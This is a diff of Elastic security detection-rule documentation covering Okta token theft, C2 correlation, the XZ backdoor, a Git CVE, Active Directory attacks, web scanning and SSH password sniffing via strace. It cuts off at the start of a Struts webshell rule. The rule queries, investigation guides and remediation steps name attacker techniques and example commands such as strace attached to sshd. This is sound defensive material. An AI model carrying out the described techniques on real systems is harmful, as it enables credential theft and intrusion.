+This rule detects when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token token and is using it to impersonate a legitimate user from a different machine.
+
+
+*Possible investigation steps*
+
+- Review the `okta.debug_context.debug_data.dt_hash` field to identify the specific device
+trust hash associated with multiple operating systems.
+- Examine the `user.email` field to determine which user account is associated with the suspicious activity
+- Analyze the `source.ip` field to identify the IP addresses from which the different operating systems were reported. Look for any unusual or unexpected locations.
+- Review the `user_agent.os.name` field to see the different operating systems reported for the
+same dt_hash. This will help identify the nature of the anomaly.
+- Check the `event.action` field to understand the context of the authentication events (e.g., MFA verification, standard authentication).
+- Investigate the timeline of events to see when the different operating systems were reported for the same dt_hash. Look for patterns or sequences that may indicate malicious activity.
+- Correlate this activity with other security events in your environment, such as failed login attempts, unusual access patterns, or alerts from endpoint security solutions.
+
+
+*False positive analysis*
+
+- Applications will tag the operating system as null when the device is not recognized as a managed device
+- In environments where users frequently switch between managed and unmanaged devices, this may lead to false positives.
+
+
+*Response and remediation*
+
+- Immediately investigate the user account associated with the suspicious activity to determine if it has been compromised.
+- If compromise is confirmed, reset the user's credentials and enforce multi-factor authentication (MFA)
+- Revoke any active sessions associated with the compromised account to prevent further unauthorized access.
+- Review and monitor the affected dt_hash for any further suspicious activity.
+- Educate users about the importance of device security and the risks associated with device tokens.
+- Implement additional monitoring for device token tokens and consider using conditional access policies to restrict access based on device compliance status.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+data_stream.dataset: "okta.system"
+    and not okta.debug_context.debug_data.dt_hash: "-"
+    and user_agent.os.name: *
+    and event.action: (
+        "user.authentication.verify" or
+        "user.authentication.auth_via_mfa"
+    )
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Steal Web Session Cookie
+** ID: T1539
+** Reference URL: https://attack.mitre.org/techniques/T1539/
diff --git a/docs/detections/prebuilt-rules/rule-details/outbound-scheduled-task-activity-via-powershell.asciidoc b/docs/detections/prebuilt-rules/rule-details/outbound-scheduled-task-activity-via-powershell.asciidoc
index 897d211353..9bec4df72e 100644
--- a/docs/detections/prebuilt-rules/rule-details/outbound-scheduled-task-activity-via-powershell.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/outbound-scheduled-task-activity-via-powershell.asciidoc
@@ -37,7 +37,7 @@ Identifies the PowerShell process loading the Task Scheduler COM DLL followed by
 * Data Source: Sysmon
 * Resources: Investigation Guide
 
-*Version*: 212
+*Version*: 213
 
 *Rule authors*: 
 
@@ -101,7 +101,7 @@ PowerShell, a powerful scripting language in Windows, can automate tasks via the
 sequence by host.id, process.entity_id with maxspan = 5s
  [any where host.os.type == "windows" and (event.category == "library" or (event.category == "process" and event.action : "Image loaded*")) and
   (?dll.name : "taskschd.dll" or file.name : "taskschd.dll") and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe")]
- [network where host.os.type == "windows" and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and destination.port == 135 and not destination.address in ("127.0.0.1", "::1")]
+ [network where host.os.type == "windows" and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and destination.port == 135 and not cidrmatch(destination.ip, "127.0.0.0/8", "::1/128")]
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/panw-and-elastic-defend-command-and-control-correlation.asciidoc b/docs/detections/prebuilt-rules/rule-details/panw-and-elastic-defend-command-and-control-correlation.asciidoc
new file mode 100644
index 0000000000..4901ba475f
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/panw-and-elastic-defend-command-and-control-correlation.asciidoc
@@ -0,0 +1,106 @@
+[[panw-and-elastic-defend-command-and-control-correlation]]
+=== PANW and Elastic Defend - Command and Control Correlation
+
+This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.network-*
+* logs-panw.panos-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://attack.mitre.org/tactics/TA0011/
+* https://www.elastic.co/docs/reference/integrations/panw
+* https://www.elastic.co/docs/reference/integrations/endpoint
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* OS: Windows
+* OS: macOS
+* Use Case: Threat Detection
+* Tactic: Command and Control
+* Data Source: Elastic Defend
+* Data Source: PAN-OS
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating PANW and Elastic Defend - Command and Control Correlation*
+
+
+
+*Possible investigation steps*
+
+
+- Investigate in the Timeline feature the two events matching this correlation (PANW and Elastic Defend).
+- Review the process details like command_line, privileges, global relevance and reputation.
+- Assess the destination.ip reputation and global relevance.
+- Review the parent process execution details like command_line, global relevance and reputation.
+- Examine all network connection details performed by the process during last 48h.
+- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity.
+
+
+*False positive analysis*
+
+
+- Trusted system or third party processes performing network activity that looks like beaconing.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
+- Terminate the suspicious processes and all associated children and parents.
+- Implement network-level controls to block traffic to the destination.ip.
+- Conduct a thorough review of the system's configuration files to identify unauthorized changes.
+- Reset credentials for any accounts associated with the source machine.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by source.port, source.ip, destination.ip with maxspan=1m
+ [network where event.module == "panw" and event.action == "c2_communication"]
+ [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted")]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-active-directory-replication-account-backdoor.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-active-directory-replication-account-backdoor.asciidoc
index 65cd16d9be..c5e91fa832 100644
--- a/docs/detections/prebuilt-rules/rule-details/potential-active-directory-replication-account-backdoor.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/potential-active-directory-replication-account-backdoor.asciidoc
@@ -41,7 +41,7 @@ Identifies the modification of the nTSecurityDescriptor attribute in a domain ob
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 108
+*Version*: 109
 
 *Rule authors*: 
 
@@ -121,7 +121,7 @@ Audit Directory Service Changes (Success,Failure)
 
 [source, js]
 ----------------------------------
-event.code:"5136" and
+event.code:"5136" and host.os.type:"windows" and
   winlog.event_data.AttributeLDAPDisplayName:"nTSecurityDescriptor" and
   winlog.event_data.AttributeValue : (
     (
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-execution-via-xzbackdoor.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-execution-via-xzbackdoor.asciidoc
index d9ffdf0f4d..df340758aa 100644
--- a/docs/detections/prebuilt-rules/rule-details/potential-execution-via-xzbackdoor.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/potential-execution-via-xzbackdoor.asciidoc
@@ -37,7 +37,7 @@ It identifies potential malicious shell executions through remote SSH and detect
 * Data Source: Elastic Defend
 * Resources: Investigation Guide
 
-*Version*: 8
+*Version*: 9
 
 *Rule authors*: 
 
@@ -99,17 +99,15 @@ The XZBackdoor leverages SSH, a secure protocol for remote access, to execute ma
 
 [source, js]
 ----------------------------------
-sequence by host.id, user.id with maxspan=1s
- [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "sshd" and
-    process.args == "-D" and process.args == "-R"] by process.pid, process.entity_id
- [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "sshd" and
-  process.executable != null and not (
-    process.executable in ("/usr/sbin/sshd", "/usr/sbin/unix_chkpwd", "/usr/bin/google_authorized_keys", "/usr/bin/fipscheck") or
-    process.args like ("rsync*", "systemctl*", "/usr/sbin/unix_chkpwd", "/usr/bin/google_authorized_keys", "/usr/sbin/aad_certhandler*") or
-    process.command_line like "sh -c /usr/bin/env -i PATH=*"
-  )] by process.parent.pid, process.parent.entity_id
- [process where host.os.type == "linux" and event.action == "end" and process.name == "sshd" and process.exit_code != 0] by process.pid, process.entity_id
- [network where host.os.type == "linux" and event.type == "end" and event.action == "disconnect_received" and process.name == "sshd"] by process.pid, process.entity_id
+sequence by host.id with maxspan=1m
+  [process where host.os.type == "linux" and event.action == "end" and process.name == "sshd" and process.exit_code != 0] by process.entity_id
+  [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and
+   process.parent.name == "sshd" and process.parent.args == "-D" and process.parent.args == "-R" and
+   process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
+   not (
+     process.args like ("rsync*", "systemctl*", "/usr/sbin/unix_chkpwd", "/usr/bin/google_authorized_keys", "/usr/sbin/aad_certhandler*") or
+     process.command_line like ("sh -c /usr/bin/env -i PATH=*", "sh -c -- /usr/bin/env -i PATH=*") 
+   )] by process.parent.entity_id
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-git-cve-2025-48384-exploitation.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-git-cve-2025-48384-exploitation.asciidoc
new file mode 100644
index 0000000000..5530428e00
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/potential-git-cve-2025-48384-exploitation.asciidoc
@@ -0,0 +1,124 @@
+[[potential-git-cve-2025-48384-exploitation]]
+=== Potential Git CVE-2025-48384 Exploitation
+
+This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* auditbeat-*
+* logs-crowdstrike.fdr*
+* logs-auditd_manager.auditd-*
+* logs-endpoint.events.process*
+* logs-sentinel_one_cloud_funnel.*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.kucoin.com/zh-hant/blog/en-breaking-lazarus-group-apt38-targets-crypto-sector-with-sophisticated-phishing-campaign
+* https://securitylabs.datadoghq.com/articles/git-arbitrary-file-write/
+* https://github.com/acheong08/CVE-2025-48384
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* OS: macOS
+* Use Case: Threat Detection
+* Tactic: Execution
+* Data Source: Elastic Defend
+* Data Source: Auditd Manager
+* Data Source: SentinelOne
+* Data Source: Crowdstrike
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential Git CVE-2025-48384 Exploitation*
+
+
+This rule flags a Git recursive clone from an HTTP(S) remote followed moments later by a shell spawned by Git—clear evidence of CVE-2025-48384 abuse enabling arbitrary code execution on Linux or macOS. An attacker ships a repository whose submodules or hooks pull and run a bash script during --recursive clone, causing Git to invoke a shell and execute their payload on a developer endpoint.
+
+
+*Possible investigation steps*
+
+
+- Extract the remote URL and parameters from the git invocation and review .gitmodules to enumerate submodules, then assess the domain/account reputation and recent commits for signs of a malicious repo or takeover.
+- Inspect the cloned repository for hook execution vectors by reviewing .git/hooks and any core.hooksPath overrides for newly created or modified executables (post-checkout/post-merge/post-update), noting contents and timestamps.
+- Analyze the spawned shell’s lineage, command line, working directory, and any script or binary launched to identify the payload, compute hashes, and correlate with concurrent outbound connections or file writes.
+- Pivot on the repo URL, hooks filenames, and payload hash across hosts to identify other impacted endpoints, and verify whether this activity aligns with expected developer workflows or CI jobs to rule out benign use.
+- Examine the endpoint for follow-on changes suggesting execution or persistence (new cron/LaunchAgents entries, modified shell profiles, new SSH keys or credentials files, unusual PATH or gitconfig changes), and collect artifacts for forensic review.
+
+
+*False positive analysis*
+
+
+- Legitimate organization-wide or user-level Git hooks installed via core.hooksPath or templates run a post-checkout bootstrap shell script after a recursive HTTP or HTTPS clone, causing git to spawn a shell as a child process.
+- During a recursive HTTP or HTTPS clone, Git invokes a credential or askpass helper implemented as a shell script for authentication, resulting in a benign sh/bash child of the git process.
+
+
+*Response and remediation*
+
+
+- Immediately isolate any host where git clone --recursive from an HTTP(S) URL spawned a shell, terminate the git process tree (bash/sh and curl/wget/python children) launched from the cloned path, and block the repository domain on your proxy and Git hosting.
+- Quarantine the cloned directory and its .git folder, preserve .gitmodules, .git/hooks, and any core.hooksPath target for forensics, then remove executable hooks (post-checkout/post-merge/post-update) and delete the repository and downloaded payload scripts.
+- Rotate credentials available to the user (replace ~/.ssh keys and clear ~/.git-credentials/osxkeychain/libsecret), and eradicate persistence by removing new cron entries, LaunchAgents/LaunchDaemons, modified shell profiles (~/.bashrc, ~/.zshrc), and unexpected PATH or gitconfig changes.
+- Scope and recover by hunting for the same remote URL, hook names, and payload hashes across endpoints and CI runners, reimaging or restoring clean baselines before returning systems to service.
+- Escalate to incident command if multiple hosts show a git->shell chain from the same repository, if the payload invoked sudo or wrote to /etc/cron* or /Library/LaunchDaemons, or if outbound transfers occur to the repo’s domain or newly contacted IPs.
+- Upgrade Git to a patched release for CVE-2025-48384, enforce core.hooksPath to a read-only allowlisted directory, disable recursive submodule cloning by default (submodule.recurse=false), restrict protocols (protocol.file.allow=never; allow only https/ssh), and block clones from untrusted domains in developer and CI environments.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by host.id with maxspan=1m
+  [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "executed", "process_started", "start", "ProcessRollup2") and
+   process.name == "git" and process.args == "clone" and process.args == "--recursive" and process.args like~ "http*"] by process.entity_id
+  [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "executed", "process_started", "start", "ProcessRollup2") and
+   process.name in (
+    "dash", "sh", "static-sh", "bash", "bash-static", "zsh", "ash", "csh", "ksh", "tcsh", "busybox", "fish", "ksh93", "rksh",
+    "rksh93", "lksh", "mksh", "mksh-static", "csharp", "posh", "rc", "sash", "yash", "zsh5", "zsh5-static"
+   )] by process.parent.entity_id
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Exploitation for Client Execution
+** ID: T1203
+** Reference URL: https://attack.mitre.org/techniques/T1203/
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc
index dcb4c4ac4a..6abe545112 100644
--- a/docs/detections/prebuilt-rules/rule-details/potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc
@@ -40,7 +40,7 @@ Identifies the creation of a DNS record containing a base64-encoded blob matchin
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 1
+*Version*: 2
 
 *Rule authors*: 
 
@@ -124,8 +124,11 @@ Set-AuditRule -AdObjectPath 'AD:\CN=MicrosoftDNS,DC=DomainDNSZones,DC=Domain,DC=
 
 [source, js]
 ----------------------------------
-(event.code:4662 and winlog.event_data.AdditionalInfo: *UWhRC*BAAAA*MicrosoftDNS*) or 
-(event.code:5137 and winlog.event_data.ObjectDN: *UWhRC*BAAAA*MicrosoftDNS*)
+host.os.type:"windows" and
+(
+  (event.code:4662 and winlog.event_data.AdditionalInfo: *UWhRC*BAAAA*MicrosoftDNS*) or 
+  (event.code:5137 and winlog.event_data.ObjectDN: *UWhRC*BAAAA*MicrosoftDNS*)
+)
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-machine-account-relay-attack-via-smb.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-machine-account-relay-attack-via-smb.asciidoc
index e7902d4714..b607637b8f 100644
--- a/docs/detections/prebuilt-rules/rule-details/potential-machine-account-relay-attack-via-smb.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/potential-machine-account-relay-attack-via-smb.asciidoc
@@ -39,7 +39,7 @@ Identifies potential relay attacks against a machine account by identifying netw
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 1
+*Version*: 2
 
 *Rule authors*: 
 
@@ -98,7 +98,7 @@ Identifies potential relay attacks against a machine account by identifying netw
 
 [source, js]
 ----------------------------------
-file where event.code == "5145" and endswith(user.name, "$") and
+file where host.os.type == "windows" and event.code == "5145" and endswith(user.name, "$") and
 
  /* compare computername with user.name and make sure they match */
  startswith~(winlog.computer_name, substring(user.name, 0, -1)) and
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-privileged-escalation-via-samaccountname-spoofing.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-privileged-escalation-via-samaccountname-spoofing.asciidoc
index d198c47d9c..d4099180a4 100644
--- a/docs/detections/prebuilt-rules/rule-details/potential-privileged-escalation-via-samaccountname-spoofing.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/potential-privileged-escalation-via-samaccountname-spoofing.asciidoc
@@ -42,7 +42,7 @@ Identifies a suspicious computer account name rename event, which may indicate a
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 213
+*Version*: 214
 
 *Rule authors*: 
 
@@ -104,7 +104,7 @@ In Active Directory environments, the samAccountName attribute is crucial for id
 
 [source, js]
 ----------------------------------
-iam where event.action == "renamed-user-account" and
+iam where host.os.type == "windows" and event.action == "renamed-user-account" and
   /* machine account name renamed to user like account name */
   winlog.event_data.OldTargetUserName : "*$" and not winlog.event_data.NewTargetUserName : "*$"
 
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-shadow-credentials-added-to-ad-object.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-shadow-credentials-added-to-ad-object.asciidoc
index 392b97d4dc..3bc1a5b90b 100644
--- a/docs/detections/prebuilt-rules/rule-details/potential-shadow-credentials-added-to-ad-object.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/potential-shadow-credentials-added-to-ad-object.asciidoc
@@ -39,7 +39,7 @@ Identify the modification of the msDS-KeyCredentialLink attribute in an Active D
 * Use Case: Active Directory Monitoring
 * Data Source: Windows Security Event Logs
 
-*Version*: 216
+*Version*: 217
 
 *Rule authors*: 
 
@@ -127,7 +127,7 @@ Set-AuditRule -AdObjectPath 'AD:\CN=Users,DC=Domain,DC=com' -WellKnownSidType Wo
 
 [source, js]
 ----------------------------------
-event.code:"5136" and winlog.event_data.AttributeLDAPDisplayName:"msDS-KeyCredentialLink" and
+event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msDS-KeyCredentialLink" and
   winlog.event_data.AttributeValue :B\:828* and
   not winlog.event_data.SubjectUserName: MSOL_*
 
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-spike-in-web-server-error-logs.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-spike-in-web-server-error-logs.asciidoc
new file mode 100644
index 0000000000..f3bea64eea
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/potential-spike-in-web-server-error-logs.asciidoc
@@ -0,0 +1,127 @@
+[[potential-spike-in-web-server-error-logs]]
+=== Potential Spike in Web Server Error Logs
+
+This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential Spike in Web Server Error Logs*
+
+
+This detection flags spikes of web server error responses across HTTP/TLS and common server platforms, signaling active scanning or fuzzing that can expose misconfigurations or exploitable paths. A typical pattern is an automated scanner sweeping endpoints like /admin/, /debug/, /.env, /.git, and backup archives while mutating query parameters, producing repeated 404/403 and occasional 500 responses across multiple applications within minutes.
+
+
+*Possible investigation steps*
+
+
+- Pivot on the noisy client IP(s) to build a minute-by-minute timeline across affected hosts showing request rate, status codes, methods, and top paths to distinguish automated scanning from a localized application failure.
+- Enrich the client with ASN, geolocation, hosting/Tor/proxy reputation, historical sightings, and maintenance windows to quickly decide if it matches a known external scanner or an internal scheduled test.
+- Aggregate the most requested URIs and verbs and look for telltale patterns such as /.env, /.git, backup archives, admin consoles, or unusual verbs like PROPFIND/TRACE, then correlate any 5xx bursts with application and server error logs and recent deploys or config changes.
+- Hunt for follow-on success from the same client by checking for subsequent 200/302s to sensitive paths, authentication events and session creation, or evidence of file writes and suspicious child processes on the web hosts.
+- If traffic traverses a CDN/WAF/load balancer, pivot to those logs to recover true client IPs, review rule matches and throttling, and determine whether similar patterns occurred across multiple edges or regions.
+
+
+*False positive analysis*
+
+
+- Internal QA or integration tests that systematically crawl application routes after a deployment can generate bursts of 404/403 and occasional 500s from a single client IP, closely resembling active scanning.
+- A transient backend outage or misconfiguration (broken asset paths or auth flows) can cause legitimate traffic to return many errors aggregated under a shared egress IP (NAT), pushing per-IP counts above the threshold without adversary activity.
+
+
+*Response and remediation*
+
+
+- Immediately block or throttle the noisy client IPs at the WAF/CDN and load balancer by enabling per-IP rate limits and signatures for scanner patterns such as repeated hits to /.env, /.git, /admin, backup archives, or unusual verbs like PROPFIND/TRACE.
+- If errors include concentrated 5xx responses from one web host, drain that node from service behind the load balancer, capture its web and application error logs, and roll back the most recent deploy or config change until error rates normalize.
+- Remove risky exposures uncovered by the scan by denying access to environment files and VCS directories (.env, .git), disabling directory listing, locking down admin consoles, and rejecting unsupported HTTP methods at the web server.
+- Escalate to Incident Response if the same client shifts from errors to successful access on sensitive endpoints (200/302 to /admin, /login, or API keys), if you observe file writes under the webroot or suspicious child processes, or if multiple unrelated clients show the same pattern across regions.
+- Recover service by redeploying known-good builds, re-enabling health checks, running smoke tests against top routes, and restoring normal WAF/CDN policies while keeping a temporary blocklist for the offending IPs.
+- Harden long term by tuning WAF/CDN to auto-throttle bursty 404/403/500 patterns, disabling TRACE/OPTIONS where unused, minimizing verbose error pages, and ensuring logs capture the true client IP via X-Forwarded-For or True-Client-IP headers.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-nginx.error-*, logs-apache_tomcat.error-*, logs-apache.error-*, logs-iis.error-*
+| keep
+    @timestamp,
+    event.type,
+    event.dataset,
+    source.ip,
+    agent.id,
+    host.name
+| where source.ip is not null
+| stats
+    Esql.event_count = count(),
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.event_dataset_values = values(event.dataset)
+    by source.ip, agent.id
+| where
+    Esql.event_count > 25
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-ssh-password-grabbing-via-strace.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-ssh-password-grabbing-via-strace.asciidoc
index 2e85abdf23..ed9dd8941c 100644
--- a/docs/detections/prebuilt-rules/rule-details/potential-ssh-password-grabbing-via-strace.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/potential-ssh-password-grabbing-via-strace.asciidoc
@@ -32,8 +32,9 @@ Detects potential SSH password grabbing via the use of strace on sshd processes.
 * Tactic: Persistence
 * Tactic: Credential Access
 * Data Source: Elastic Defend
+* Resources: Investigation Guide
 
-*Version*: 1
+*Version*: 2
 
 *Rule authors*: 
 
@@ -42,6 +43,51 @@ Detects potential SSH password grabbing via the use of strace on sshd processes.
 *Rule license*: Elastic License v2
 
 
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential SSH Password Grabbing via strace*
+
+
+This detection flags a suspicious sequence where an sshd process stops and a strace process starts seconds later, indicating attempted snooping of SSH authentication. Capturing syscall activity around login exposes passwords and session secrets, enabling credential theft and lateral movement. Attackers kill sshd, then relaunch or attach with strace, logging read/write and open calls from PAM or keyboard-interactive flows to a file such as /tmp/sshd.trace.
+
+
+*Possible investigation steps*
+
+
+- Pull the strace command-line, full path, parent chain, invoking user, and working directory to confirm whether it attached to sshd and whether output was directed to a file.
+- Correlate systemd/journald and audit logs around the same seconds for sshd stop/start, kill signals, coredumps, or admin actions to distinguish debugging from credential capture.
+- Identify and preserve any strace output or redirected logs (common in /tmp or home directories) and scan for PAM interactions or TTY reads containing password prompts.
+- Check ptrace feasibility by verifying UID relationships, CAP_SYS_PTRACE, SELinux/AppArmor policies, and ptrace_scope to assess whether sshd could be traced.
+- Pivot on the same user and host for adjacent activity such as restarting sshd, running ltrace/gdb/perf, modifying PAM or sshd_config, and creating trace files to gauge intent.
+
+
+*False positive analysis*
+
+
+- An administrator intentionally stops sshd and immediately launches strace to troubleshoot a configuration change or startup problem, tracing a controlled test run rather than attempting to capture credentials.
+- A normal sshd session process ends while strace is started to debug an unrelated application, producing a near-simultaneous end/start sequence even though strace is not attached to sshd or capturing authentication input.
+
+
+*Response and remediation*
+
+
+- Immediately kill active strace processes targeting sshd (e.g., strace -p PID or strace -f /usr/sbin/sshd with -o /tmp/sshd.trace), isolate the host from the network, and restart the sshd service to restore a clean state.
+- Preserve forensic copies, then remove artifacts such as trace outputs like /tmp/sshd.trace or ~/sshd.strace.log, purge unauthorized strace wrappers or cron entries, and revert changes in /etc/ssh/sshd_config and /etc/pam.d/*.
+- Force credential hygiene by expiring passwords for users who logged in during the suspected window, rotating SSH host keys in /etc/ssh/ (ssh_host_*), revoking recently added ~/.ssh/authorized_keys entries, and terminating lingering sshd child sessions and SSH agents in /tmp or /run.
+- Escalate to incident response if strace was executed as root or via sudo against /usr/sbin/sshd, if CAP_SYS_PTRACE or ptrace_scope=0 was present, if trace files contain password strings or PAM conversation data, or if similar behavior appears on more than one host.
+- Harden by setting /proc/sys/kernel/yama/ptrace_scope to 1 or 2, enforcing SELinux/AppArmor policies that block ptrace to sshd, disabling PasswordAuthentication or requiring MFA in /etc/ssh/sshd_config, and adding auditd rules to alert on ptrace attaches to /usr/sbin/sshd.
+
+
+
 ==== Rule query
 
 
diff --git a/docs/detections/prebuilt-rules/rule-details/potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc
new file mode 100644
index 0000000000..daf161eeab
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc
@@ -0,0 +1,161 @@
+[[potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation]]
+=== Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation
+
+Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.*
+* logs-network_traffic.*
+
+*Severity*: high
+
